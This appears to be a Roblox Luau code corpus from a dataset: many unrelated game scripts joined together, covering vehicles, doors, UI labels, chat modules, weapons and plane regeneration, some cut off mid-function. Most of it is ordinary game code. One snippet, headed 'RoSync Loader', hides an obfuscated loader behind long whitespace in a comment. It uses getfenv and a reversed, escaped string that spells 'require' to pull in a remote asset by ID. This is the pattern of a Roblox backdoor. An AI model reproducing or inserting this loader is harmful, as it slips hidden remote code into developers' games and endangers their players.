Pinkstack/roblox-luau-corpus-text huggingface dataset:
-- FUNCTION --



function RotateBlimp()

	local BlimpTween = TweenService:Create(AlignOrientation, TweenInfo.new(20, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), {
		CFrame = AlignOrientation.CFrame * CFrame.Angles(math.rad(-1), math.rad(180), 0)
	})

	BlimpTween:Play()

	return BlimpTween

end
--Hide Avatar


script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Part") then
v.Transparency=1
v.CanCollide=false
end
end
end
end
end)
-- local script inside a TextLabel 


local player = game.Players.LocalPlayer
local SoulValue = player.Currency.Soul
local textLabel = script.Parent

local function updateText()
	local Soul = SoulValue.Value
	if Soul > 999 then
		if Soul >= 1000000 then
			textLabel.Text = string.format("%.1fM", Soul / 1000000)
		elseif Soul >= 1000 then
			textLabel.Text = string.format("%.1fK", Soul / 1000)
		end
	else
		textLabel.Text = tostring(Soul)
	end
end

SoulValue.Changed:Connect(updateText)
updateText()
-- If you want to know how to retexture a hat, read this:  http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388










debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"   -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat.
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(-0,-0,-1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, -0.47, -0.005) -- Change these to change the positiones of your hat, as I said earlier.
		wait(5)		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
--By Thomasthered



local Model = script.Parent
local Config = Model.Configuration
local Username = Config.Username.Value

local function resetModel()
	for i,v in pairs(Model:GetChildren()) do
		if v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Accessory') or v:IsA('ShirtGraphic') then
			v:Destroy()
		end
	end
	if Model.Head:findFirstChild('Mesh') then
		Model.Head.Mesh:Destroy()
	end
end

local function updateModel()
	local AppModel = game.Players:GetCharacterAppearanceAsync(game.Players:GetUserIdFromNameAsync(Username))
	for i,v in pairs(AppModel:GetChildren()) do
		if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
			v.Parent = Model.Head
		elseif v:IsA('Decal') then
			Model.Head.face.Texture = v.Texture
		elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
			if Model:findFirstChild('Body Colors') then
				Model['Body Colors']:Destroy()
			end
			v.Parent = Model
		elseif v:IsA('Accessory') then
			v.Parent = Model
			v.Handle.CFrame = Model.Head.CFrame * CFrame.new(0, Model.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
		else
			print('Object: '..v.Name..' is not recognised, type: '..v.ClassName)
		end
	end
	if not Model.Head:FindFirstChild('Mesh') then
		local m = Instance.new('SpecialMesh', Model.Head)
		m.MeshType = Enum.MeshType.Head
		m.Scale = Vector3.new(1.25, 1.25, 1.25)
	end
end
wait(2)
updateModel()
--[=[
  @function removeValues
  @within Dictionary

  @param dictionary {[K]: V} -- The dictionary to remove the values from.
  @param values ...V -- The values to remove.
  @return {[K]: V} -- The dictionary without the given values.

  Removes the given values from the given dictionary.

  ```lua
  local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow", goodbye = "world" }

  local withoutWorld = RemoveValues(dictionary, "world") -- { cat = "meow", unicorn = "rainbow" }
  local onlyWorld = RemoveValues(dictionary, "meow", "rainbow") -- { hello = "world", goodbye = "world" }
  ```
]=]


local function removeValues<K, V>(dictionary: { [K]: V }, ...: V): { [K]: V }
	local values = ToSet({ ... })
	local result = {}

	for key, value in pairs(dictionary) do
		if not values[value] then
			result[key] = value
		end
	end

	return result
end

return removeValues
--[[Transmission]]


Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 4.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--------RIGHT DOOR --------


game.Workspace.doorright.l11.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(21)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(1)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(21)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(21)
--///////////////////////// Constructors
--//////////////////////////////////////



function module.new(vChatService, name)
	local obj = setmetatable({}, methods)

	obj.ChatService = vChatService

	obj.PlayerObj = nil

	obj.Name = name
	obj.ExtraData = {}

	obj.Channels = {}
	obj.MutedSpeakers = {}
	obj.EventFolder = nil
	
	return obj
end

return module
--I do this to make sure no one copys. :D
--[[ Last synced 7/9/2021 08:32                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]]

 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--[[*
 * This API should be called `delete` but we'd have to make sure to always
 * transform these to strings for IE support. When this transform is fully
 * supported we can rename it.
 ]]



local Shared = script.Parent
local Packages = Shared.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local Error = LuauPolyfill.Error
local inspect = LuauPolyfill.util.inspect
local getComponentName = require(script.Parent.getComponentName)

local exports = {}

local function isValidFiber(fiber): boolean
	return fiber.tag ~= nil
		and fiber.subtreeFlags ~= nil
		and fiber.lanes ~= nil
		and fiber.childLanes ~= nil
end

exports.remove = function(key)
	key._reactInternals = nil
end

exports.get = function(key)
	local value = key._reactInternals

	-- ROBLOX deviation: we have a crash in production this will help catch
	-- ROBLOX TODO: wrap this in __DEV__
	if not isValidFiber(value) then
		error(
			Error.new(
				"invalid fiber in "
					.. (getComponentName(key) or "UNNAMED Component")
					.. " during get from ReactInstanceMap! "
					.. inspect(value)
			)
		)
	elseif value.alternate ~= nil and not isValidFiber(value.alternate) then
		error(
			Error.new(
				"invalid alternate fiber ("
					.. (getComponentName(key) or "UNNAMED alternate")
					.. ") in "
					.. (getComponentName(key) or "UNNAMED Component")
					.. " during get from ReactInstanceMap! "
					.. inspect(value.alternate)
			)
		)
	end

	return value
end

exports.has = function(key)
	return key._reactInternals ~= nil
end

exports.set = function(key, value)
	-- ROBLOX deviation: we have a crash in production this will help catch
	-- ROBLOX TODO: wrap this in __DEV__
	local parent = value
	local message
	while parent ~= nil do
		if not isValidFiber(parent) then
			message = "invalid fiber in "
				.. (getComponentName(key) or "UNNAMED Component")
				.. " being set in ReactInstanceMap! "
				.. inspect(parent)
				.. "\n"

			if value ~= parent then
				message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
			end
			error(Error.new(message))
		elseif
			(parent :: any).alternate ~= nil
			and not isValidFiber((parent :: any).alternate)
		then
			message = "invalid alternate fiber ("
				.. (getComponentName(key) or "UNNAMED alternate")
				.. ") in "
				.. (getComponentName(key) or "UNNAMED Component")
				.. " being set in ReactInstanceMap! "
				.. inspect((parent :: any).alternate)
				.. "\n"

			if value ~= parent then
				message ..= " (from original fiber " .. (getComponentName(key) or "UNNAMED Component") .. ")"
			end
			error(Error.new(message))
		end
		parent = (parent :: any).return_
	end

	(key :: any)._reactInternals = value
end

return exports
--TweenParts


local Hinge = script.Parent.Parent.Hinge1
local OpenHinge = script.Parent.Parent.Open1
local ClosedHinge = script.Parent.Parent.Closed1
local Hinge1 = script.Parent.Parent.Hinge0
local OpenHinge1 = script.Parent.Parent.Open0
local ClosedHinge1 = script.Parent.Parent.Closed0
--Refer to Settings.COMPARISON_CHECKS


local function comparePosition(self)
	if self._currentWaypoint == #self._waypoints then return end
	self._position._count = ((self._agent.PrimaryPart.Position - self._position._last).Magnitude <= 0.07 and (self._position._count + 1)) or 0
	self._position._last = self._agent.PrimaryPart.Position
	if self._position._count >= Settings.COMPARISON_CHECKS then
		setJumpState(self)
	end
end
--ice


script.Parent.Color = randval6 --Color3.new(math.random(), math.random(), math.random()) 
wait(0.5)
script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random()) 
wait(0.5)
mode10()
end

while true do 
randval1 = Color3.new(1,0,0) --Red
randval2 = Color3.new(0,1,0) --Green
randval3 = Color3.new(0,0,1) --Blue
randval4 = Color3.new(1,1,0) --yellow
randval5 = Color3.new(1,0,1) --mag
randval6 = Color3.new(0,1,1) --cyn
randval7 = Color3.new(1,1,1) --white
randval8 = Color3.new(0,0,0) --blk

mode9()
end
-- Variables


local ServerStorage = game:GetService("ServerStorage")

local particlesFolder = ServerStorage:WaitForChild("SpecialEffects")
local upgradeParticle = particlesFolder:WaitForChild("ParticleLap")
local upgradeCheckpoint = particlesFolder:WaitForChild("ParticleCheckpoint")

local particleHolderName = "HumanoidRootPart"
local particleEmitRate = 20
--DO NOT EDIT BELOW!



local door = script.Parent


local db = false
door.Touched:connect(function(hit)
 if not db then
  db = true
  local humanoid = hit.Parent:FindFirstChild("Humanoid")
  if humanoid then
   local plr = game.Players:GetPlayerFromCharacter(hit.Parent)
   for _,name in pairs(Admins) do
    if string.lower(plr.Name) == string.lower(name) then
     door.Transparency = 0
     door.CanCollide = false
     wait(3)
     door.Transparency = 0
     door.CanCollide = true
    end
   end
  end
  db = false
 end
end)
---Basic_Settings:---


local light = true -- Set to false if u dont have light added
local maxv = 133 -- Max Speed In REAL KT.. Check Online for the real Aviation speed for this plane
local minspeed = -30 -- min speed In real KT 
local Spd_keep = true-- Set to false if U dont want the function to Speed up/down if u hold M/N down, and after release it stops
--Deadzone Adjust


local _PPH = _Tune.Peripherals
	for i,v in pairs(_PPH) do
	local a = Instance.new("IntValue",Controls)
	a.Name = i
	a.Value = v
	a.Changed:connect(function() 
		a.Value=math.min(100,math.max(0,a.Value))
		_PPH[i] = a.Value
	end)
end
--local NormalWalk = Character.WalkSpeed


UserInputService.InputBegan:Connect(function(input,processing)
	if not processing then
		if input.KeyCode == Enum.KeyCode.LeftShift then
			if isRunning then
				Character.Humanoid.WalkSpeed = 40
			end
		end
	end
end)

UserInputService.InputEnded:Connect(function(input,processing)
	if not processing then
		if input.KeyCode == Enum.KeyCode.LeftShift then
			Character.Humanoid.WalkSpeed = 16
		end
	end
end)

task.wait(1)
Character.Humanoid:GetPropertyChangedSignal("MoveDirection"):Connect(function()
	if Character.Humanoid.MoveDirection.Magnitude > 0 then
		isRunning = true
	else
		isRunning = false
	end
end)
--use this to determine if you want this human to be harmed or not, returns boolean


function checkTeams(otherHuman)
	return not (sameTeam(otherHuman) and not FriendlyFire==true)
end

function boom()
	wait(10)
	Used = true
	Object.Anchored = true
	Object.CanCollide = false
	Object.Sparks.Enabled = false
	Object.Orientation = Vector3.new(0,0,0)
	Object.Transparency = 1
	Object.Fuse:Stop()
	Object.Explode:Play()
	Object.Dist:Play()
	Object.Explosion:Emit(500)
	Explode()
end

Object.Touched:Connect(function(part)
	if Used == true or part.Name == "Handle" then return end
	if part:IsDescendantOf(Tag.Value.Character) then return end
	if part.Parent then
		if part.Parent:FindFirstChild("Humanoid") then
			local human = part.Parent.Humanoid
			if checkTeams(human) then
				tagHuman(human)
				human:TakeDamage(Damage)
			end
		end
		Used = true
		Object.Impact:Play()
		Object.Velocity = Vector3.new(Object.Velocity.x/10,Object.Velocity.y/10,Object.Velocity.z/10)
		Object.RotVelocity = Vector3.new(Object.RotVelocity.x/10,Object.RotVelocity.y/10,Object.RotVelocity.z/10)
		game:GetService("Debris"):AddItem(Object, 10)
	end
end)

boom()
--////////--
--The Meat--
--////////--



local Region = {}

function Region.new(...)
	local args = {...}
	local Object = nil
	local isBasePart = false
	if args[1] and pcall(function() isBasePart = args[1]:IsA("BasePart") end) and isBasePart then
		Object = CreateRegionFromPart(args[1])
	else
		Object = CreateRegion(args[1], args[3], args[2])
	end
	return Object
end

return Region
----------------------------------------------------------------------------------------------------
-----------------=[ General ]=----------------------------------------------------------------------
----------------------------------------------------------------------------------------------------


	 TeamKill = true					--- Enable TeamKill?
	,TeamDamageMultiplier = 1			--- Between 0-1 | This will make you cause less damage if you hit your teammate
	
	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...
	
	,AntiBunnyHop = false				--- Enable anti bunny hop system?
	,JumpCoolDown = 3					--- Seconds before you can jump again
	,JumpPower = 50						--- Jump power, default is 50
	
	,RealisticLaser = false				--- True = Laser line is invisible
	,ReplicatedLaser = true				
	,ReplicatedFlashlight = true
	
	,EnableRagdoll = true				--- Enable ragdoll death?
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD
-- Using the FindPartsInRegion3 API, this regen is "smart" and will NOT regenerate if something is in the way.
-- If something IS in the way, the script will wait for the area to be clear.



local plane = script.Parent.Plane:clone()
script.Parent.Plane.Cloned.Value,plane.Cloned.Value = true,true
script.Parent.Plane.Origin.Value = script.Parent
local regen = script.Parent.Regen
local active = false
local downtime = 5	-- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone

plane.PrimaryPart = plane.MainParts.Main
local planeSize = plane:GetModelSize()
local planePos = plane:GetModelCFrame().p
local v0 = (planePos-(planeSize/2))
local v1 = (planePos+(planeSize/2))
local region = Region3.new(v0,v1)	-- Creates a 3D space using two Vector3s

local gui = Instance.new("ScreenGui")
gui.Name = "RegenGui"
local f = Instance.new("Frame",gui)
f.Name = "Message"
f.Style = Enum.FrameStyle.RobloxRound
f.Position = UDim2.new(0.5,-150,0.25,-15)
f.Size = UDim2.new(0,300,0,30)
local t = Instance.new("TextLabel",f)
t.Name = "Msg"
t.Text = "Awaiting area to be clear for regeneration to continue"
t.TextColor3 = Color3.new(1,1,1)
t.Font = Enum.Font.ArialBold
t.FontSize = Enum.FontSize.Size12
t.Position = UDim2.new(0.5,0,0.5,0)

function getPassengers(pln)	-- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as "inactive" and removed
	local plrs = {}
	local function scan(parent)
		for _,v in pairs(parent:GetChildren()) do
			if ((v:IsA("Seat")) or (v:IsA("VehicleSeat"))) then
				if ((v:findFirstChild("SeatWeld")) and (v.SeatWeld.Part1)) then
					local plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)
					if (plr) then table.insert(plrs,plr) end
				end
			end
			scan(v)
		end
	end
	scan(pln)
	return plrs
end

function deleteInactivePlanes()
	for _,v in pairs(script.Parent:GetChildren()) do
		if (v.Name == plane.Name) then
			local passengers = getPassengers(v)
			if (#passengers == 0) then
				v:remove()
			end
		end
	end
end

function regionIsClear()
	local parts = game.Workspace:findPartsInRegion3(region,regen,100)
	return (#parts == 0)
end

function regenMain()
	local p = plane:clone()
	p.Parent = script.Parent
	p:MakeJoints()
end

regen.Touched:connect(function(obj)
	if (active) then return end
	local plr = game.Players:GetPlayerFromCharacter(obj.Parent)
	if (not plr) then return end
	active = true
	deleteInactivePlanes()
	for i = 0,0.5,0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0.5
	while (not regionIsClear()) do
		wait(0.5)
		if ((plr) and (plr.Parent) and (plr:findFirstChild("PlayerGui"))) then
			gui.Parent = plr.PlayerGui
		end
	end
	gui.Parent = nil
	regenMain()
	wait(downtime)
	for i = 0.5,0,-0.1 do
		regen.Transparency = i
		wait()
	end
	regen.Transparency = 0
	active = false
end)
--[=[
	Like Blend.Spring, but for AccelTween

	@param source any -- Source observable (or convertable)
	@param acceleration any -- Source acceleration (or convertable)
	@return Observable
]=]


function Blend.AccelTween(source, acceleration)
	local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source)
	local accelerationObservable = Blend.toNumberObservable(acceleration)

	local function createAccelTween(maid, initialValue)
		local accelTween = AccelTween.new()

		if initialValue then
			accelTween.p = initialValue
			accelTween.t = initialValue
			accelTween.v = 0
		end

		if accelerationObservable then
			maid:GiveTask(accelerationObservable:Subscribe(function(value)
				assert(type(value) == "number", "Bad value")
				accelTween.a = value
			end))
		end

		return accelTween
	end

	-- TODO: Centralize and cache
	return Observable.new(function(sub)
		local accelTween
		local maid = Maid.new()

		local startAnimate, stopAnimate = StepUtils.bindToRenderStep(function()
			sub:Fire(accelTween.p)
			return accelTween.rtime > 0
		end)

		maid:GiveTask(stopAnimate)
		maid:GiveTask(sourceObservable:Subscribe(function(value)
			accelTween = accelTween or createAccelTween(maid, value)
			accelTween.t = value
			startAnimate()
		end))

		return maid
	end)
end
--[[ Local Functions ]]

--
function MasterControl:GetHumanoid()
	if LocalCharacter then
		if CachedHumanoid then
			return CachedHumanoid
		else
			CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
			return CachedHumanoid
		end
	end
end

VRService.Changed:connect(function(prop)
	if prop == "VREnabled" then
		VREnabled = VRService.VREnabled
	end
end)

local characterAncestryChangedConn = nil
local characterChildRemovedConn = nil
local function characterAdded(character)
	if characterAncestryChangedConn then
		characterAncestryChangedConn:disconnect()
	end

	if characterChildRemovedConn then
		characterChildRemovedConn:disconnect()
	end	
	
	LocalCharacter = character
	CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
	characterAncestryChangedConn = character.AncestryChanged:connect(function()
		if character.Parent == nil then
			LocalCharacter = nil
		else
			LocalCharacter = character
		end
	end)
	
	characterChildRemovedConn = character.ChildRemoved:connect(function(child)
		if child == CachedHumanoid then
			CachedHumanoid = nil
		end
	end)
end

if LocalCharacter then
	characterAdded(LocalCharacter)
end
LocalPlayer.CharacterAdded:connect(characterAdded)


local getHumanoid = MasterControl.GetHumanoid
local moveFunc = LocalPlayer.Move
local getUserCFrame = VRService.GetUserCFrame
local updateMovement = function()
	
	if not areControlsEnabled then return end
	
	local humanoid = getHumanoid()
	if not humanoid then return end
	
	if isJumpEnabled and isJumping and not humanoid.PlatformStand then
		local state = humanoid:GetState()
		if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then
			humanoid.Jump = isJumping
		end
	end
	
	local adjustedMoveValue = moveValue
	if VREnabled and workspace.CurrentCamera.HeadLocked then
		local vrFrame = getUserCFrame(VRService, Enum.UserCFrame.Head)
		local lookVector = Vector3.new(vrFrame.lookVector.X, 0, vrFrame.lookVector.Z).unit
		local rotation = CFrame.new(ZERO_VECTOR3, lookVector)
		adjustedMoveValue = rotation:vectorToWorldSpace(adjustedMoveValue)
	end

	moveFunc(LocalPlayer, adjustedMoveValue, true)
end